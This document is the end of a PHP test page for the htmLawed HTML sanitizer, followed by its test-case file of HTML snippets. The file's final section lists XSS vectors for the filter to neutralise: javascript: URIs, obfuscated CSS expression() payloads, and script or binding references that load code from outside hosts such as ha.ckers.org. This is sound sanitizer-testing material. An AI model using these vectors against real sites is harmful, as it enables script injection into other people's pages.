$cfg['anti_mail_spam'] = isset($cfg['anti_mail_spam1'][0]) ? $cfg['anti_mail_spam1'] : 0;
}
unset($cfg['anti_mail_spam11']);
if(isset($cfg['deny_attribute']) && $cfg['deny_attribute'] == 1){
$cfg['deny_attribute'] = isset($cfg['deny_attribute1'][0]) ? $cfg['deny_attribute1'] : 0;
}
unset($cfg['deny_attribute1']);
if(isset($cfg['tidy']) && $cfg['tidy'] == 2){
$cfg['tidy'] = isset($cfg['tidy2'][0]) ? $cfg['tidy2'] : 0;
}
unset($cfg['tidy2']);
if(isset($cfg['unique_ids']) && $cfg['unique_ids'] == 2){
$cfg['unique_ids'] = isset($cfg['unique_ids2'][0]) ? $cfg['unique_ids2'] : 1;
}
unset($cfg['unique_ids2']);
unset($cfg['and_mark']); // disabling and_mark
$cfg['show_setting'] = 'hlcfg';
$st = microtime();
$out = htmLawed($_POST['text'], $cfg, $_POST['spec']);
$et = microtime();
echo '<br /><a href="htmLawedTest.php" title="[toggle visibility] syntax-highlighted" onclick="javascript:toggle(\'inputR\'); return false;"><span class="notice">Input code &raquo;</span></a> <span class="help" title="tags estimated as half of total &gt; and &lt; chars; values may be inaccurate for non-ASCII text"><small><big>', strlen($_POST['text']), '</big> chars, ~<big>', ($tag = round((substr_count($_POST['text'], '>') + substr_count($_POST['text'], '<'))/2)), '</big> tag', ($tag > 1 ? 's' : ''), '</small>&nbsp;</span><div id="inputR" style="display: none;">', format($_POST['text']), '</div><script type="text/javascript">hl(\'inputR\');</script>', (!isset($_POST['text'][$_hlimit]) ? ' <a href="htmLawedTest.php" title="[toggle visibility] hexdump; non-viewable characters like line-returns are shown as dots" onclick="javascript:toggle(\'inputD\'); return false;"><span class="notice">Input binary &raquo;&nbsp;</span></a><div id="inputD" style="display: none;">'. hexdump($_POST['text']). '</div>' : ''), ' <a href="htmLawedTest.php" title="[toggle visibility] finalized internal settings as interpreted by htmLawed; for developers" onclick="javascript:toggle(\'settingF\'); return false;"><span class="notice">Finalized internal settings &raquo;&nbsp;</span></a> <div id="settingF" style="display: none;">', str_replace(array(' ', "\t", ' '), array(' ', '&nbsp; ', '&nbsp; '), nl2br(htmlspecialchars(print_r($GLOBALS['hlcfg']['config'], true)))), '</div><script type="text/javascript">hl(\'settingF\');</script>', '<br /><a href="htmLawedTest.php" title="[toggle visibility] suitable for copy-paste" onclick="javascript:toggle(\'outputF\'); return false;"><span class="notice">Output &raquo;</span></a> <span class="help" title="approx., server-specific value excluding the \'include()\' call"><small>htmLawed processing time <big>', number_format(((substr($et,0,9)) + (substr($et,-10)) - (substr($st,0,9)) - (substr($st,-10))),4), '</big> s</small></span>', (($mem = memory_get_peak_usage()) !== false ? '<span class="help"><small>, peak memory usage <big>'. round(($mem-$pre_mem)/1048576, 2). '</big> <small>MB</small>' : ''), '</small></span><div id="outputF" style="display: block;"><div><textarea id="text2" class="textarea" name="text2" rows="5" cols="100" style="width: 100%;">', htmlspecialchars($out), '</textarea></div><button type="button" onclick="javascript:document.getElementById(\'text2\').focus();document.getElementById(\'text2\').select()" title="select all to copy" style="float:right;">Select all</button>';
if($_w3c_validate && $validation)
{
?>
<button type="button" title="HTML 4.01 W3C online validation" style="float: right;" onclick="javascript: sndValidn('text2', 'html401'); return false;" onkeypress="javascript: sndValidn('text2', 'html401'); return false;">Check HTML</button>
<button type="button" title="XHTML 1.1 W3C online validation" style="float: right;" onclick="javascript: sndValidn('text2', 'xhtml110'); return false;" onkeypress="javascript: sndValidn('text2', 'xhtml110'); return false;">Check XHTML</button>
<?php
}
echo '</div><br /><a href="htmLawedTest.php" title="[toggle visibility] syntax-highlighted" onclick="javascript:toggle(\'outputR\'); return false;"><span class="notice">Output code &raquo;</span></a><div id="outputR" style="display: block;">', format($out), '</div><script type="text/javascript">hl(\'outputR\');</script>', (!isset($_POST['text'][$_hlimit]) ? '<br /><a href="htmLawedTest.php" title="[toggle visibility] hexdump; non-viewable characters like line-returns are shown as dots" onclick="javascript:toggle(\'outputD\'); return false;"><span class="notice">Output binary &raquo;</span></a><div id="outputD" style="display: none;">'. hexdump($out). '</div>' : ''), '<br /><a href="htmLawedTest.php" title="[toggle visibility] XHTML 1 Transitional doctype" onclick="javascript:toggle(\'outputH\'); return false;"><span class="notice">Output rendered &raquo;</span></a><div id="outputH" style="display: block;">', $out, '</div>';
}
else{
?>
<br />
<div class="help">Use with a Javascript- and cookie-enabled, relatively new version of a common browser. <em>Submitted input will also be HTML-rendered (XHTML 1) after htmLawed-filtering.</em>
<?php echo (file_exists('./htmLawed_TESTCASE.txt') ? '<br /><br />You can use text from <a href="htmLawed_TESTCASE.txt"><span class="notice">this collection of test-cases</span></a> in the input. Set the character encoding of the browser to Unicode/utf-8 before copying.' : ''); ?>
<br /><br />For anti-XSS tests, try the <a href="http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/htmLawedSafeModeTest.php"><span class="notice">special test-page</span></a> or see <a href="http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/rsnake/RSnakeXSSTest.htm"><span class="notice">these results</span></a>.
<br /><br /><small>Change <em>Encoding</em> to reflect the character encoding of the input text. Even then, it may not work or some characters may not display properly because of variable browser support and because of the form interface. Developers can write some PHP code to capture the filtered input to a file if this is important.
<br /><br />Refer to the htmLawed documentation (<a href="htmLawed_README.htm"><span class="notice">htm</span></a>/<a href="htmLawed_README.txt"><span class="notice">txt</span></a>) for details about <em>Settings</em>, and htmLawed's behavior and limitations. For <em>Settings</em>, incorrectly-specified values like regular expressions are silently ignored. One or more settings form-fields may have been disabled. Some characters are not allowed in the <em>Spec</em> field.
<br /><br />Hovering the mouse over some of the text can provide additional information in some browsers.</small>
<?php
if($_w3c_validate){
?>
<small><br /><br />Because of character-encoding issues, the W3C validator (anyway not perfect) may reject validation requests or invalidate otherwise-valid code, esp. if text was copy-pasted in the input box. Local applications like the <em>HTML Validator</em> Firefox browser add-on may be useful in such cases.</small>
<?php
}
?>
</div>
<?php
}
?>
</div>
</body>
</html>

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/*
htmLawed_TESTCASE.txt, 22 October 2011
htmLawed 1.1.10, 5 April 2012
Copyright Santosh Patnaik
Dual licensed with LGPL 3 and GPL 2 or later
A PHP Labware internal utility - http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed
*/
This file has UTF-8-encoded text with both correct and incorrect/malformed HTML/XHTML code snippets to test htmLawed (test cases/samples). The entire text may also be used as a unit.
************************************************
when viewing this file in a web browser, set the
character encoding to Unicode/UTF-8
************************************************
--------------------- start --------------------
<em>Try different $config and $spec values. Some text even when filtered in will not be displayed in a rendered web-page</em><br />
<h6>Attributes</h6>
<strong>Xml:lang:</strong><a lang="en" xml:lang="en"></a>, <a lang="en"></a>, <a xml:lang="en"></a><br />
<strong>Standard, predefined value, or empty attribute:</strong> <input type="text" disabled />, <input type="text" disabled="DISABLED" />, <input type="text" disabled="1" /><br />
<strong>Required:</strong> <img />, <img alt="image" /><br />
<strong>Quote & space variation:</strong> <a id=id1 name=xy>a</a>, <a id='id2' name="xy">a</a>, <a id=' id3 ' name = "n" >a</a><br />
<strong>Invalid:</strong> <a id="id4" src="s">a</a><br />
<strong>Duplicated:</strong> <a id="id5" id="id6">a</a><br />
<strong>Deprecated:</strong> <a id="id7" target="self" name="n">a</a>, <hr noshade="noshade" /><br />
<strong>Casing:</strong> <a HREF=""></a><br />
<strong>Admin-restricted?:</strong> <a href="x" onclick="alert();"></a>
<h6>Attribute values</h6>
<strong>Duplicate ID value:</strong><a id="id8"></a>, <a id="my_id8"></a>, <a id="id8"></a><br />
(try 'my_' for prefix)<br />
<strong>Double-quotes in value:</strong><a title=ab"c"></a>, <a title="ab"c"></a>, <a title='ab"c'></a><br />
(try filter for CSS expression)<br />
<strong>CSS expression</strong>: <div style="prop:expression();"></div><div style="prop:expression()"></div><div style="prop: expression();"></div><div style="prop : expression()"></div><div style="prop:expression(js);"></div><div style="prop:expression(js;)"></div><div style="prop: expression('js');"></div><div style="prop : expr ession('js':)"></div><div style="prop&#x3a;expression( 'js&#x40; );"></div><br />
<strong>Other:</strong> <input size="50" class="my" value="an input an input an input" />, <input size="5" class="your" value="an input" /><br />
(try 'maxlen', 'maxval', etc., for 'input' in '$spec')
<h6>Blockquotes</h6>
<blockquote>abc</blockquote><br />
<blockquote>abc<div>def</div></blockquote><br />
<blockquote><div>abc</div>def</blockquote><br />
<blockquote>abc<div>def</div>ghi</blockquote><br />
abc<div>def</div>ghi<br />
(try with blockquote parent)
<h6>CDATA sections</h6>
<strong>Special characters inside:</strong> <![CDATA[ ]]> ]]>, <![CDATA[ 3 < 4 > 3.5, & 4 &gt; 4 ]]><br />
<strong>Normal:</strong> <![CDATA[ check ]]>, <em>CDATA follows:<![CDATA[ check ]]></em><br />
<strong>Malformed:</strong> <![cdata check ]]>, < ![CDATA check ]]>, <![CDATA check ]]>, < ![CDATA check ] ]><br />
<strong>Invalid:</strong> <em <![CDATA[ check ]]>>CDATA in tag content</em>, <table><![CDATA[ check ]]><tr><td>text not allowed</td></tr></table>
<h6>Complex-1: deprecated elements</h6>
<center>
The PHP <s>software</s> script used for this <strike>web-page</strike> webpage is <font style="font-weight: bold " face=arial size='+3' color = "red ">htmLawedTest.php</font>, from <u style= 'color:green'>PHP Labware</u>.
</center>
<h6>Complex-2: deprecated attributes</h6>
<img src="s" alt="a" name="n" /><img src="s" alt="a" id="id9" name="n" />
<br clear="left" />
<hr noshade size="1" />
<img name="id10" src="s" align="left" alt="image" hspace="10" vspace="10" width="10em" height="20" border="1" style="padding:5px;" />
<table width="50em" align="center" bgcolor="red">
<tr>
<td width="20%">
<div align="center">
<h3 align="right">Section</h3>
<p align="right">Para</p>
<ol type="a" start="e"><li value="x"><a name="x">First</a> <a name="x" id="id11">item</a></li></ol>
</div>
</td>
<td width="*">
<ol type="1"><li>First item</li></ol>
</td>
</tr>
</table>
<br clear="all" />
<h6>Complex-3: embed, object, area</h6>
<object width="425" height="350"><param name="movie" value="http://www.youtube.com/v/ls7gi1VwdIQ"></param><embed src="http://www.youtube.com/v/ls7gi1VwdIQ" type="application/x-shockwave-flash" width="425" height="350"></embed></object><br />
<embed src="http://www.youtube.com/v/ls7gi1VwdIQ" type="application/x-shockwave-flash" width="425" height="350"></embed><br />
<object data="1.gif" type="image/gif" usemap="#map1"><map name="map1">
<p>navigate the site: <a href="1" shape="REct" coOrds="0,0,118,28">1</a> | <a href="3" shape="circle" coords="184,200,60">3</a> | <a href="4" shape="poly" coords="276,0,276,28,100,200,50,50,276,0">4</a></p>
<area href="5" shape="Rect" coords="0,0,118,28">
</map></object>
<param name="name">value</param>
<object id="obj1">
<param name="param1">
<object id="obj2">
<param name="param2">
</object>
</object>
<h6>Complex-4: nested and other tables</h6>
<table border="1" bgcolor="red"> <tr> <td> Cell </td> <td colspan="2" rowspan="2"> <table border="1" bgcolor="green"> <tr> <td> Cell </td> <td colspan="2" rowspan="2"> </td> </tr> <tr> <td> Cell </td> </tr> <tr> <td> Cell </td> <td> Cell </td> <td> Cell </td> </tr> </table> </td> </tr> <tr> <td> Cell </td> </tr> <tr> <td> Cell </td> <td> Cell </td> <td> Cell </td> </tr> </table><br />
<strong>PCDATA wrong:</strong> <table>Well<caption>Hello</caption></table><br />
<strong>Missing tr:</strong> <table><td>Well</td></table><br />
<h6>Complex-5: pseudo, disallowed or non-HTML tags</h6>
(Try different 'keep_bad' values)
<*> Pseudotags <*>
<xml>Non-HTML tag xml</xml>
<p>
Disallowed tag p
</p>
<ul>Bad<li>OK</li></ul>
<h6>Elements</h6>
<strong>Unbalanced:</strong> <a href="h"><em>check</a></em><br />
<strong>Non-XHTML:</strong> <div><center><dir></dir></center></div><br />
<strong>Malformed:</strong> < a href=""></a>, <a href="" ></a>, <a href="" ></a>, <a href=""
></a>, <a href="">< /a>, < a href=""></a >, <img src="s" alt="a" />, <img src="s" alt="a"/ >, <imgsrc="s" alt="a" /><br />
<strong>Invalid:</strong> <image src="s" alt="a" /><br />
<strong>Empty:</strong> <img src="s" alt="a" />, <img src="s" alt="a"></img>, <img src="s" alt="a">text</img><br />
<strong>Content invalid:</strong> <a href="h">1<a>2</a></a><br />
<strong>Content invalid?:</strong> <form></form><br /> (try setting 'form' as parent)
<strong>Casing:</strong> <A href=""></a>
<h6>Entities</h6>
<strong>Special:</strong> &amp; 3 < 2 & 5>4 and j >i >a & i<j>a<br />
<strong>Padding:</strong> &#00066; &#066; &#x00066; &#x066; &#x003; &#0003;<br />
<strong>Malformed:</strong> & #x27;, &x27;, &#x27; &TILDE;, &tilde<br />
<strong>Invalid:</strong> &#x3;, &#55296;, &#03;, &#1114112;, &#xffff, &bad;<br />
<strong>Discouraged characters:</strong> &#x7f;, &#132;, &#64992;, &#1114110;<br />
<strong>Context:</strong> '&gt;', &lt;?<br />
<strong>Casing:</strong> &#X27;, &#x27;, &TILDE;, &tilde;
<br />
(also check named-to-numeric and hexdec-to-decimal, and vice versa, conversions)
<h6>Format</h6>
<strong>Valid but ill-formatted:</strong> text <!-- comment -->
text <!--
A c o m m e n t -->
<script>
<![CDATA[
code
]]>
</script><!-- comment --><![CDATA[ cdata ]]> <a>text</b> text<pre id="none">p r e</pre>
<textarea>text</textarea> <textarea>
text text
</textarea> text text <br /><hr />
text <img src="none" alt="none" /> t<em class="none">e<strong>x</strong>t</em>
text <img src="none" alt="none" /> <b>t<em> e <strong> x </strong> t</em></b>
<a href="a"> text <img src="none" alt="none" /> <b>t <em> e <strong> x </strong> t</em></b>
</a>
<span style="background-color: yellow;">text <img src="none" alt="none" /> <b> <em> t e <strong> x </strong> t</em></b></span>
<script>script</script>
<div>
<pre id="none">p <a>r</a> e <!-- comment --> </pre>
<pre>
pre
</pre>
</div>
<div><div><table border="1" style="background-color: red;"><tr><td>Cell</td><td colspan="2" rowspan="2"><table border="1" style="background-color: green;"><tr><td>Cell</td><td colspan="2" rowspan="2"></td></tr><tr><td>Cell</td></tr><tr><td>Cell</td><td>Cell</td><td>Cell</td></tr></table></td></tr><tr><td>Cell</td></tr><tr><td>Cell</td><td>Cell</td><td>Cell</td></tr></table></div></div>
(try to compact or beautify)
<h6>Forms</h6>
(note nesting of 'form', missing required attributes, etc.)<br />
<form>
<script type="text/javascript">s</script>
<fieldset><legend>p</legend>l <input name="personal_lastname" type="text" tabindex="1"></fieldset>
<input name="h" type="checkbox" value="h" tabindex="20"> h
<textarea name="t">t</textarea>
<form action="a" method="get"></form></form><br />
<form action="b" method="get"><p><input type="text" value="i" /></form><br />
<form>B:<input type="text" value="b" />C:<input type="text" value="c" /></form><br />
(try each of these lines separately)<br />
<form action="a">what<br />
<form action="a">what
(try with container as div and as form)<br />
<form>c <a>a</a> <b>b</b><input /><script>s</script>
<h6>HTML comments (also CDATA)</h6>
<strong>Script inside:</strong> <!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]--><br />
<strong>Special characters inside: <!-- <![CDATA check ]]> -->, <!-- 3 < 4 > 3.5, & 4 &gt; 4 -->, <!-- che--ck -->, <!--[if !IE]> <--><a>c</a><!--> <![endif]--><br />
<strong>Normal:</strong> <!-- check -->, <!--check -->, <em>comment:<!-- check --></em><!-- check -->, <table><!-- check --><tr><td>text not allowed</td></tr></table><br />
<strong>Malformed:</strong> <![cdata check ]]>, < ![CDATA check ]]>, < ![CDATA check ] ]><br />
Invalid:</strong> <em <!-- check -->>comment in tag content</em>, <!--check-->
<h6>Ins-Del</h6>
(depending on context, these elements can be of either block or inline type)<br />
<p><ins datetime="d" cite="c"><div>block</div></ins></p><br />
<p><del>d</del></p><br />
<p><ins><del>d</del></ins></p><div><ins><p><del><div>d</div></del></p></ins></div><ins><div>d</div></ins>
<h6>Lists</h6>
<strong>Invalid character data</strong>: <ul><li>(item</li>)</ul><br />
<strong>Definition list</strong>: <dl><dt>a</dt>bad<dd>first <em>one</em></dd><dt>b</dt><dd>second</dd></dl><br />
<strong>Definition list, close-tags omitted</strong>: <dl><dt>a</dt>bad<dd>first <em>one</em></dd><dt>b<dd>second</dl><br />
<strong>Definition lists, nested</strong>: <dl>
<dt>T1</dt>
<dd>D1</dd>
<dt>T2</dt>
<dd>D2<dl><dt>t1</dt><dd>d1</dd><dt>t2</dt><dd>d2</dd></dl></dd>
<dt>T3</dt>
<dd>D3</dd>
<dt>T4</dt>
<dd>D4<dl><dt>t1</dt><dd>d1</dd></dl></dd>
</dl><br />
<strong>Definition lists, nested, close-tags omitted</strong>: <dl>
<dt>T1
<dd>D1</dd>
<dt>T2</dt>
<dd>D2<dl><dt>t1<dd>d1<dt>t2</dt><dd>d2</dd></dl></dd>
<dt>T3
<dd>D3
<dt>T4
<dd>D4<dl><dt>t1<dd>d1</dl></dd>
</dl><br />
<strong>Nested</strong>: <ul>
<li>l1</li>
<li>l2<ol><li>lo1</li><li>lo2</li></ol></li>
<li>l3</li>
<li>l4<ol><li>lo3</li><li>lo4<ol><li>lo5</li></ol></li></ol></li>
</ul><br />
<strong>Nested, directly</strong>: <ul>
<li>l1</li>
<ol>l2</ol>
<li>l3</li>
</ul><br />
<strong>Nested, close-tags omitted</strong>: <ul>
<li>l1</li>
<li>l2<ol><li>lo1<li>lo2</ol>
<li>l3
<li>l4<ol><li>lo3<li>lo4<ol><li>lo5</ol></ol>
</ul><br />
<strong>Complex</strong>:
<ol><script></script><li><table><tr><td>
<ul><li id="search" class="widget widget_search"> <form id="searchform" method="get" action="http://kohei.us">
<div>
<input type="text" name="s" id="s" size="15" /><br />
<input type="submit" value="Search" />
</div>
</form>
</li></ul>
</td></tr></table></li></ol>
<h6>Microdata</h6>
<div itemscope itemtype="http://data-vocabulary.org/Person">
I am <span itemprop="name">X</span> but people call me <span itemprop="nickname">Y</span>.
Find me at <a href="http://www.xy.com" itemprop="url">www.xy.com</a>
</div>
<h6>Non-English text-1</h6>
Inscrieţi-vă acum la a Zecea Conferinţă Internaţională<br />
გთხოვთ ახლავე გაიაროთ რეგისტრაცია<br />
večjezično računalništvo<br />
<a title="อ.อ่าง">อ.อ่าง</a><br />
<a title="הירשמו
כעת לכנס ">Зарегистрируйтесь сейчас
на Десятую Международную Конференцию по</a><br />
(this file should have utf-8 encoding; some characters may not be displayed because of missing fonts, etc.)
<h6>Non-English text-2: entities</h6>
&#29992;&#32479;&#19968;&#30721;<br />
&#4306;&#4311;&#4334;&#4317;&#4309;&#4311;<br />
Inscreva-se agora para a D&#233;cima Confer&#234;ncia Internacional Sobre O Unicode, realizada entre os dias 10 e 12 de mar&#231;o de 1997 em Mainz
na Alemanha.
<h6>Ruby</h6>
(need compatible browser)<br />
<ruby xml:lang="ja">
<rbc>
<rb>斎</rb>
<rb>藤</rb>
<rb>信</rb>
<rb>男</rb>
</rbc>
<rtc class="reading">
<rt>さい</rt>
<rt>とう</rt>
<rt>のぶ</rt>
<rt>お</rt>
</rtc>
<rtc class="annotation">
<rt rbspan="4" xml:lang="en">W3C Associate Chairman</rt>
</rtc>
</ruby><br />
<ruby>
<rb>WWW</rb>
<rp>(</rp><rt>World Wide Web</rt><rp>)</rp>
</ruby><br />
<ruby>
A
<rp>(</rp><rt>aaa</rt><rp>)</rp>
</ruby>
<h6>Tables</h6>
<strong>Omitted closing tags:</strong> <table>
<colgroup><col style="x" /><col style="y" />
<thead>
<tr><th>h1c1<th>h1c2
<tbody>
<tr><td>r1c1<td>r1c2
<tr><td>r2c1<td>r2c2
</table><br />
<strong>Nested, omitted closing tags:</strong> <table>
<colgroup><col style="x" /><col style="y" />
<thead>
<tr><th>h1c1<th>h1c2
<tbody>
<tr><td>r1c1<td>r1c2<table>
<colgroup><col style="x" /><col style="y" />
<thead>
<tr><th>h1c1<th>h1c2
<tbody>
<tr><td>r1c1<td>r1c2
<tr><td>r2c1<td>r2c2
</table>
<tr><td>r2c1<td>r2c2
</table><br />
<h6>URLs</h6>
<strong>Relative and absolute:</strong> <a href="mailto:x"></a>, <a href="http://a.com/b/c/d.f"></a>, <a href="./../d.f"></a>, <a href="./d.f"></a>, <a href="d.f"></a>, <a href="#s"></a>, <a href="./../../d.f#s"></a><br />
(try base URL value of 'http://a.com/b/')<br />
<strong>CSS URLs:</strong> <div style="background-image: url('a.gif');"></div>, <div style="background-image: URL(&quot;a.gif&quot;);"></div>, <div style="background-image: url('http://a.com/a.gif');"></div>, <div style="background-image: url('./../a.gif');"></div>, <div style="background-image: &#117;r&#x6C;('js&#58;xss'&#x29;"></div><br />
<strong>Double URLs:</strong> <a style="behaviour: url(foo) url(http://example.com/xss.htc)">b</a><br />
<strong>Anti-spam:</strong> (try regex for 'http://a.com', etc.) <a href="mailto:x@y.com"></a>, <a href="http://a.com/b@d.f"></a>, <a href="a.com/d.f" rel="nofollow"></a>, <a href="a.com/d.f" rel="1, 2"></a>, <a href="a.com/d.f"></a>, <a href="b.com/d.f"></a>, <a href="c.com/d.f">, <a href="denied:http://c.com/d.f"></a><br />
<h6>XSS</h6>
'';!--"<xss>=&{()}<br />
<img src="javascript%3Aalert('xss');" /><br />
<img src="javascript:alert('xss');" /><br />
<img src="java script:alert('xss');" /><br />
<img
src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41; /><br />
<div style="javascript:alert('xss');"></div><br />
<div style="background-image:url(javascript:alert('xss'));"></div><br />
<div style="background-image:url(&quot;javascript:alert('xss')&quot; );"></div><br />
<!--[if gte IE 4]><script>alert('xss');</script><![endif]--><br />
<script a=">" src="http://ha.ckers.org/xss.js"></script><br />
<div style="background-image: &#117;r&#x6C;('js&#58;xss'&#x29;"></div><br />
<a style=";-moz-binding:url(http://lukasz.pilorz.net/xss/xss.xml#xss)" href="http://example.com">test</a><br />
<strong>Bad IE7:</strong> <a href="http://x&x=%22+style%3d%22background-image%3a+expression%28alert
%28%27xss%3f%29%29">x</a><br />
<strong>Bad IE7:</strong> <a style=color:expr/*comment*/ession(alert(document.domain))>xxx</a><br />
<strong>Bad IE7:</strong> <a href="xxx" style="background: exp&#x72;ession(alert('xss'));">xxx</a><br />
<strong>Bad IE7:</strong> <a href="xxx" style="background: &#101;xpression(alert('xss'));">xxx</a><br />
<strong>Bad IE7:</strong> <a href="xxx" style="background: %45xpression(alert('xss'));">xxx</a><br />
<strong>Bad IE7:</strong> <a href="xxx" style="background:/**/expression(alert('xss'));">xxx</a><br />
<strong>Bad IE7:</strong> <a href="xxx" style="background:/**/&#69;xpression(alert('xss'));">xxx</a><br />
<strong>Bad IE7:</strong> <a href="xxx" style="background:/**/Exp&#x72;ession(alert('xss'));">xxx</a><br />
<strong>Bad IE7:</strong> <a href="xxx" style="background: expr%45ssion(alert('xss'));">xxx</a><br />
<strong>Bad IE7:</strong> <a href="xxx" style="background: exp/* */ression(alert('xss'));">xxx</a><br />
<strong>Bad IE7:</strong> <a href="xxx" style="background: exp /* */ression(alert('xss'));">xxx</a><br />
<strong>Bad IE7:</strong> <a href="xxx" style="background: exp/ * * /ression(alert('xss'));">xxx</a><br />
<strong>Bad IE7:</strong> <a href="xxx" style="background:/* x */expression(alert('xss'));">xxx</a><br />
<strong>Bad IE7:</strong> <a href="xxx" style="background:/* */ */expression(alert('xss'));">xxx</a><br />
<strong>Bad IE7:</strong> <a href="x" style="width: /****/**;;;;;;*/expression/**/(alert('xss'));">x</a><br />
<strong>Bad IE7:</strong> <a href="x" style="padding:10px; background:/**/expression(alert('xss'));">x</a><br />
<strong>Bad IE7:</strong> <a href="x" style="background: huh /* */ */expression(alert('xss'));">x</a><br />
<strong>Bad IE7:</strong> <a href="x" style="background:/**/expression(alert('xss'));background:/**/expression(alert('xss'));">x</a><br />
<strong>Bad IE7:</strong> exp/*<a style='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>x</a><br />
<strong>Bad IE7:</strong> <a style="background:&#69;xpre\ssion(alert('xss'));">hi</a><br />
<strong>Bad IE7:</strong> <a style="background:expre&#x5c;ssion(alert('xss'));">hi</a><br />
<strong>Bad IE7:</strong> <a style="color: \0065 \0078 \0070 \0072 \0065 \0073 \0073 \0069 \006f \006e \0028 \0061 \006c \0065 \0072 \0074 \0028 \0031 \0029 \0029">test</a><br />
<strong>Bad IE7:</strong> <a style="xss:e&#92;&#48;&#48;&#55;&#56;pression(window.x?0:(alert(/XSS/),window.x=1));">hi</a><br />
<strong>Bad IE7:</strong> <a style="background:url('java
script:eval(document.all.mycode.expr)')">hi</a><br />
<h6>Other</h6>
3 < 4 <br />
3 > 4 <br />
> 3 <br />